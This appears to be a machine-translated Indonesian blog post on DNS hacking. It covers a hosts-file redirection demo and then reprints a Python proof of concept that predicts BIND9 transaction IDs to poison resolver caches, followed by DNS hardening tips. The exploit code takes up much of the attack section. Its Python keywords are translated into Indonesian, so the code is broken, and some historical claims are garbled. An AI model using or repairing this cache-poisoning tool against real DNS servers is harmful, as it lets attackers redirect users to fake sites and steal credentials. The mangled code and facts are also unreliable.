Breaking News
Loading...
Monday, April 1, 2013

DNS Hacking

11:27 PM
1. Apa itu DNS?

Sebuah DNS adalah server yang menerjemahkan nama domain menjadi alamat IP. Setiap situs memiliki IP atau set nomor alamat IP-. World wide web dan komputer di semua pekerjaan lebih mudah dengan angka, di sisi lain kita sebagai manusia merasa sulit untuk mengingat alamat web sebagai kelompok angka. Misalnya Google.com situs memiliki alamat sendiri di nomor (alamat IP): http://64.233.167.104/

Jadi jika Anda mengetik alamat di atas, browser Anda tidak akan terhubung ke server DNS hanya karena alamat web yang disebutkan sebenarnya satu set nomor dan komputer tidak perlu "terjemahan". Itu de facto terjadi pada har
i-hari awal world wide web dan internet dan Fidonet (pesaing sudah lupa dari internet di awal hari (internet), Fidonet benar-benar digunakan hanya angka untuk merujuk ke alamat, itu digunakan sudah istilah " zone ", yang sangat penting untuk operasi server DNS, tetapi kita akan membahas nanti).

DNS pertama kali muncul tahun 1993, namun tahun sebelum 90-an, sekelompok mahasiswa Berkeley menciptakan BIND (Berkeley Internet Domain Name), yang saat ini server DNS yang paling populer.

Di sisi lain sejarah DNS tidak bahwa "terang" dan "jelas" seperti yang tampak. Sejak tahun BIND sangat awal dan DNS pada umumnya ... selalu target serangan hacking, seperti "pharming", "spoofing", "phishing", "pembajakan", "paradoks ulang tahun". Kami akan menyatakan teknik ini secara rinci di bawah.

Namun, mari kita memeriksa struktur DNS secara rinci baik. Dalam rangka untuk memahami dan mencegah serangan hacking kita perlu pemahaman yang sangat baik dari struktur internet sama sekali. Banyak orang tidak menyadari dalam rangka apa query DNS berlangsung. Beberapa orang mungkin akan mengejutkan bahwa permintaan DNS pada kenyataannya terjadi mulai dari atas ke bawah -> misalnya. root server -> server ISP -> server lokal -> resolver cache.

Namun seperti yang kita telah dijelaskan pada hari-hari awal Internet, DNS tidak diperlukan. Setiap komputer saat itu telah memiliki sendiri "host" file, mengejutkan file host terkenal belum ada di Linux dan Windows sistem. Perannya adalah untuk menangani beberapa website yang cukup sering digunakan. Anda dapat memodifikasi file host Anda. Pada mesin windows file host berada: c: \ windows \ system32 \ drivers \ etc \ Itu adalah kasus di Windows XP. Pada Linux Anda mungkin mencoba untuk menemukannya di / etc

Anda dapat membuka file host dengan notepad dan memodifikasinya sehingga halaman Web manapun nantinya bisa redirect ke alamat IP dari pilihan Anda. Jika Anda "mencurigakan" cukup Anda mungkin sudah menyadari buruk besar "hacking" Potensi belakang DNS. Dalam prakteknya, dengan asumsi bahwa Anda telah membuka file host Anda. Tambahkan baris ini di bagian atas file Anda. Tolong, jangan lupa untuk membuat salinan file host, untuk berjaga-jaga. Sekarang buka file host dengan notepad, pilih kode di dalamnya. Hapus kode awalnya di file host dan pada tempat kode lama paste:

# Copyright © 1993-1999 Microsoft Corp
#
# Ini adalah contoh HOSTS file yang digunakan oleh Microsoft TCP / IP untuk Windows.
#
# File ini berisi pemetaan alamat IP ke nama host. Masing-masing
# Entri harus disimpan pada garis individu. Alamat IP harus
# Ditempatkan di kolom pertama diikuti dengan nama host sesuai.
# Alamat IP dan nama host harus dipisahkan dengan setidaknya satu
# Ruang.
#
# Selain itu, komentar (seperti ini) dapat dimasukkan pada individu
# Baris atau mengikuti nama mesin dilambangkan dengan simbol '#'.
#
# Misalnya:
#
# # 102.54.94.97 rhino.acme.com server source
# 38.25.63.10 x.acme.com # x client host

127.0.0.1 localhost
64.233.167.104 yahoo.com

Sekarang buka browser web favorit Anda dan mencoba untuk menavigasi ke: http://yahoo.com

Sekarang Anda tidak melihat Yahoo, kan??? Anda mungkin bersedia untuk mencapai Yahoo tetapi Anda melihat ... Google? Cukup membingungkan, tapi apa yang baru saja Anda lakukan adalah untuk menetapkan alamat IP dari Google ke domain yahoo.com.

Tak perlu dikatakan, perubahan ini hanya bekerja pada komputer Anda ... itu tidak mencapai Yahoo atau Google secara langsung, tapi untuk hacker pemula teknik ini hanyalah contoh dari kekuatan ekstrem tersembunyi dalam eksploitasi DNS berbahaya. Tentu saja dalam rangka untuk membalikkan hack mengganggu hanya membuka file host lagi dan ... lebih baik segalanya menghapus dalamnya. Anda mungkin tidak perlu nilai localhost ditugaskan untuk 127.0.0.1, bahkan lebih baik mengganti localhost Anda ke alamat tertentu :) baik numerik seperti 1.1.1.1.

Berikut adalah diagram sederhana yang menunjukkan Anda meskipun cara pertanyaan Anda DNS di internet. Apa sebenarnya yang terjadi di latar belakang saat Anda mengetik webaddress di browser Anda. Operasi terjadi dalam satu detik, dalam pecahan fakta detik dan jelas ini tidak mengganggu Anda, karena Anda mencapai Google.com favorit Anda atau Yahoo.com secepat Anda berkedip:

Posted Image

2. DNS hacker teknik:

2.1. Pendekatan modern: Sebuah mengeksploitasi terbaru dalam BIND 9:

Banyak DNS serangan mencoba menggunakan "man di tengah" jalan. Dengan kata lain, ketika server DNS yang sebenarnya mengharapkan jawaban dari klien, perangkat lunak pihak ke-3 sengaja berbahaya "mewakili" dirinya sebagai klien nyata dan karenanya server DNS percaya bahwa ini adalah klien nyata dan berkomunikasi dengan perangkat lunak berbahaya, sedangkan buruk software meracuni server DNS cache ... keracunan cache server dengan hasil palsu seperti menetapkan alamat IP palsu ke situs seperti ebay.com. Jadi waktu berikutnya ketika pengguna mencapai server DNS dan terima kasih ebay.com terbuka untuk server DNS, itu benar-benar membuka situs diracuni dengan IP hack palsu ditugaskan ke server yang benar-benar milik hacker untuk mendapatkan informasi pribadi seperti nomor kartu kredit, rekening bank ... Di sisi lain kabar baiknya adalah bahwa serangan tersebut telah sangat berhasil dalam beberapa tahun terakhir berkat untuk patch yang dirilis oleh BIND dan lainnya DNS server. Serangan DNS menjadi kembali busana hacking di tahun 90-an bahkan mungkin lebih populer daripada trojan di beberapa titik. Tapi ... namun lubang keamanan yang buruk tidak lebih ... Sebuah baru-baru ini dan mengeksploitasi sangat menarik dalam versi terbaru dari BIND menunjukkan bahwa BIND "acak" angka sebenarnya diprediksi. Ini "angka acak" sebenarnya ID unik yang server BIND harus menetapkan pada sesi saat ketika berkomunikasi dengan klien. Hanya untuk memastikan bahwa itu benar-benar berkomunikasi dengan klien dan tidak beberapa software hacking. Kerugian lain berasal dari fakta bahwa sesi BIND hanya 16 byte kode. Bagi orang-orang yang mengerti tentang kriptografi jelas bahwa kode tersebut bisa tidak hanya rusak oleh kekerasan tapi bahkan menduga dengan logika sederhana. Pendekatan menarik seperti dijelaskan secara rinci dalam makalah di bawah ini:

http://www.securitea...5VP0L0UM0A.html

Kemudian, telah ditulis prototipe dengan Python untuk menguji manual ini. Berikut adalah kode sumber:

# / Usr! / Bin / env python

"" "
DNS Cache Poison v0.3beta oleh posedge
berdasarkan pada kertas Klein Amit: http://www.trusteer.com/docs/bind9dns.html

Output: <time>: <ip>: <port>: id: <id> q: <query> g: <good> e: <error>

id: ID untuk memprediksi
q: jumlah query dari server DNS (query hanya dengan LSB pada 0 di ID)
g: jumlah baik diprediksi ID
e: jumlah kesalahan ketika mencoba untuk memprediksi * seharusnya * diprediksi ID
"" "

import socket, pilih, sys, waktu
dari impor struct membongkar, pak
dari htons soket impor

_ANSWER_TIME_LIMIT = 1,0 # 1sec
_NAMED_CONF = [[<your_dns1_hostname>, <your_dns1_ip>], \
               [<your_dns2_hostname>, <your_dns2_ip>], \
               [<etc>, <etc>]]

Kelas BINDSimplePredict:
  def __ init__ (self, txid, bind_9_2_3___9_4_1 = True):
    self.txid = txid
    self.cand = []
    jika bind_9_2_3___9_4_1 == Benar:
      # Untuk BIND9 v9.2.3-9.4.1:
      self.tap1 = 0x80000057
      self.tap2 = 0x80000062
    lain:
      # Untuk BIND9 v9.0.0-9.2.2:
      self.tap1 = 0xc000002b # (0x80000057 >> 1) | (1 << 31)
      self.tap2 = 0xc0000061 # (0x800000c2 >> 1) | (1 << 31)
    self.next = self.run ()
    kembali

  def run (self):

    if (self.txid & 1) = 0:!
      # Print "Info: LSB tidak 0 Tidak dapat memprediksi ID transaksi berikutnya.."
      kembali False
 
    # Print "Info: LSB adalah 0, memprediksi ..."
 
    # Satu bit pergeseran (dengan asumsi LSB dua itu adalah 0 dan 0)
    untuk MSB di xrange (0, 2):
      self.cand.append (((MSB << 15) | (self.txid >> 1)) & 0xFFFF)
 
    # Dua bit pergeseran (dengan asumsi LSB dua itu adalah 1 dan 1)
    # Pertama pergeseran (kita tahu LSB adalah 1 di kedua LFSRs):
    v = self.txid
    v = (v >> 1) ^ ^ self.tap1 self.tap2
    if (v & 1) == 0:
      # Setelah shift pertama, LSB menjadi 0, sehingga dua LFSRs sekarang memiliki
      # Identik LSB ini: 0 dan 0 atau 1 dan 1
      # Kedua pergeseran:
      v1 = (v >> 1) # 0 dan 0
      v2 = (v >> 1) ^ ^ self.tap1 self.tap2 # 1 dan 1
    lain:
      # Setelah shift pertama, LSB menjadi 1, sehingga dua LFSRs sekarang memiliki
      # Berbeda LSB ini: 1 dan 0 atau 0 dan 1
      # Kedua pergeseran:
      v1 = (v >> 1) ^ self.tap1 # 1 dan 0
      v2 = (v >> 1) ^ self.tap2 # 0 dan 1
 
    # Juga perlu untuk menghitung selama 2 MSB yang kita mengerti tentang
    untuk msbits di xrange (0, 4):
      self.cand.append (((msbits << 14) | v1) & 0xFFFF)
      self.cand.append (((msbits << 14) | v2) & 0xFFFF)

    kembali Benar;
 
Kelas DNSData:
  def __ init__ (self, data):
    self.data = Data
    self.name =''

    for i in xrange (12, len (data)):
      self.name + = data [i]
      jika data [i] == '\ x00':
        istirahat
    q_type = unpack ("> H", data [i +1: i +3]) [0]
    jika q_type = 1:! # hanya jenis: A (alamat host) diperbolehkan.
      self.name = Tidak ada
    kembali

  def respon (self, ip = None):
    packet =''
    paket + = self.data [00:02] # id
    paket + = "\ X84 \ x10" # bendera
    paket + = "\ x00 \ x01" # pertanyaan
    paket + = "\ x00 \ x01" # menjawab RRS
    paket + = "\ x00 \ x00" # otoritas RRS
    paket + = "\ x00 \ x00" # tambahan RRS
    paket + = self.name # query: Nama
    paket + = "\ x00 \ x01" # query: tipe (A)
    paket + = "\ x00 \ x01" # query: class (IN)
    paket + = "\ xc0 \ x0c" # jawaban: Nama
    jika ip == Tidak ada:
      paket + = "\ x00 \ X05" # jawaban: jenis (CNAME)
      paket + = "\ x00 \ x01" # jawaban: kelas (IN)
      paket + = "\ x00 \ x00 \ x00 \ x01" # jawaban: waktu untuk hidup (1sec)
      paket + = pack ("> H", len (self.name) +2) # jawaban: panjang data
      paket + = "\ x01" + "x" + self.name # jawaban: nama utama
    lain:
      paket + = "\ x00 \ x01" # jawaban: tipe (A)
      paket + = "\ x00 \ x01" # jawaban: kelas (IN)
      paket + = "\ x00 \ x00 \ x00 \ x01" # jawaban: waktu untuk hidup (1sec)
      paket + = "\ x00 \ x04" # jawaban: panjang data
      paket + = str.join ('', peta (lambda x: '.' chr (int (x)), ip.split ())) # IP
    # Paket + = "\ x00 \ x00 \ X29 \ x10 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00" # Tambahan
    kembali paket

Kelas dnsserver:
  def __ init__ (self):
    self.is_r = []
    self.is_w = []
    self.is_e = []
    self.targets = []
    self.named_conf = []
  
    for i in xrange (len (_NAMED_CONF)):
      start = 0
      tmp =''
      untuk j di xrange (len (_NAMED_CONF [i] [0])):
        jika _NAMED_CONF [i] [0] [j] == '.':
          tmp + = chr (j - start)
          tmp + = _NAMED_CONF [i] [0] [start: j]
          start = j + 1
      tmp + = chr (j - start + 1)
      tmp + = _NAMED_CONF [i] [0] [start:] + "\ x00"
      self.named_conf.append ([tmp, _NAMED_CONF [i] [1]])
    kembali

  def run (self):
    self.s = socket.socket (socket.AF_INET, socket.SOCK_DGRAM)
    self.s.bind (('', 53))
    self.is_r.append (self.s)
    next = False
    i = 0

    sedangkan 1:
      r, w, e = select.select (self.is_r, self.is_w, self.is_e, 1.0)
      jika r:
        coba:
          data, addr = self.s.recvfrom (1024)
        kecuali socket.error:
          terus

        txid = unpack ("> H", data [00:02]) [0]
        p = DNSData (data)
        jika p.name == Tidak ada:
          terus

        ditemukan False =

        untuk j di xrange (len (self.named_conf)):
          jika p.name == self.named_conf [j] [0]:
            ditemukan Benar =
            istirahat

        jika ditemukan == Benar:
          self.s.sendto (p.response (self.named_conf [j] [1]), addr)
          terus

        # FIXME: kode yang salah, adalah 'i' 0 di mulai dan ketika 1 item dalam daftar ...
        for i in xrange (len (self.targets)):
          jika self.targets [i] [0] == addr [0]:
            istirahat
        if i == len (self.targets):
          self.targets.append ([addr [0], False, time.time (), [None, None], \
            Tidak ada, 0, 0, 0])

        jika self.targets [i] [1] == False:
          bsp = BINDSimplePredict (txid)
          self.targets [i] [1] = bsp.next
          self.targets [i] [3] [0] = bsp.cand
          bsp = BINDSimplePredict (txid, False)
          self.targets [i] [3] [1] = bsp.cand
        lain:
          jika p.name == self.targets [i] [4]:
            berlalu = time.time () - self.targets [i] [2]
            jika berlalu> _ANSWER_TIME_LIMIT:
              print 'Info: Jawaban lambat, membuang (% .2 f detik)'% berlalu
            lain:
              self.targets [i] [5] + = 1
              found_v1 = False
              found_v2 = False
              untuk j di xrange (10):
                jika self.targets [i] [3] [0] [j] == txid:
                  found_v1 = True
                  istirahat
                jika self.targets [i] [3] [1] [j] == txid:
                  found_v2 = True
                  istirahat

              jika found_v1 == Benar atau found_v2 == Benar:
                self.targets [i] [6] + = 1
              lain:
                self.targets [i] [7] + = 1

              # TODO: jika found_v1 atau found_v2 Benar, kemudian menunjukkan versi bind!
              print "\ n" + str (i) + 'target:', self.targets
              print '% f:% s:% d: id: 04x% q:% dg:% de:% d'% (time.time (), \
                addr [0], addr [1], txid, self.targets [i] [5], \
                self.targets [i] [6], self.targets [i] [7])
              self.targets [i] [1] = False
        self.targets [i] [2] = time.time ()
        self.targets [i] [4] = "\ x01" + "x" + p.name
        self.s.sendto (p.response (), addr)
    kembali

  def dekat (self):
    self.s.close ()
    kembali

jika __ name__ == '__main__':
  dns_srv = dnsserver ()

  coba:
    dns_srv.run ()
  kecuali KeyboardInterrupt:
    print 'ctrl-c, meninggalkan ...'
    dns_srv.close ()

Pada saat ini kita tidak akan membahas teknik hacking lain hanya karena ini bukan tutorial hacking dan terutama karena seperti yang telah disebutkan, sebagian besar cara DNS hacking tidak mungkin saat ini. Seperti misalnya paradoks ulang tahun. Plus Anda akan menemukan ton informasi dengan google pada topik lama seperti dan kami tidak berniat untuk menyalinnya.

Sekarang mari kita lihat apa yang dapat Anda untuk melindungi server DNS Anda.

3. Melindungi Anda server DNS

    Melindungi Anda DNS Server pencemaran sakit;
    Aktifkan rekursi hanya pada jenis tertentu dari server DNS yang Anda tahu (misalnya server DNS dari relokasi server hosting)
    Gunakan firewall. Lebih baik firewall beberapa! Penelitian terbaru menunjukkan bahwa sekitar milenium baru sekelompok hacker menembus 13 root server DNS utama dengan jumlah yang sangat tinggi dari permintaan banjir. Meskipun serangan itu bukan sesuatu yang istimewa root server berhenti berfungsi selama beberapa menit. Dalam hasil dan seluruh internet. Serangan ini tidak populer, karena cache lokal lan dns server menunjukkan halaman web setiap saat jika tidak ada yang terjadi. Bahkan jika internet tidak praktis terlihat pada pengunjung web kasual, jelas beberapa menit tanpa internet tidak bencana dunia ... Namun ini contoh yang sangat menggambarkan potensi serangan banjir, DoS disebut serangan (Denial of service) . Dan seperti yang telah disebutkan dalam contoh khusus root server yang digunakan firewall beberapa yang secara harfiah menyelamatkan mereka dari ledakan overheating dan literal / keluar dari layanan ...
    Gunakan zona internal saja;
    Hati-hati di transfer zona.
    Selalu menginstal patch terbaru dari BIND;
    Buat backup harian dan lebih baik meniru hard disk;
    Konfigurasi pihak ke-3 server lokal DNS untuk bertindak sebagai master DNS server, cara ini Anda dapat melarang akses dari internet.
    Lebih baik menggunakan Linux daripada Windows dan mungkin Fedora atau Redhat dengan SELinux diaktifkan. Instalasi patch pada sistem ini selalu merupakan ide yang baik.
    Gunakan tool seperti "Necto" untuk memindai port terbuka Anda, domain, dan sebagainya. Ikuti untuk aktivitas yang tidak biasa pada port yang lebih tinggi atau pada semua port.
    Menyebarkan server sebagai server inti.
    Hindari layanan seperti DynDNS.
    Gunakan MAC keterbatasan alamat di mana hal ini mungkin.
    Instal dan jalankan server DNS pada kontroler domain.

0 comments:

Post a Comment

Ads

Friends Blog

Musik

Cari Artikel Blog

 
Toggle Footer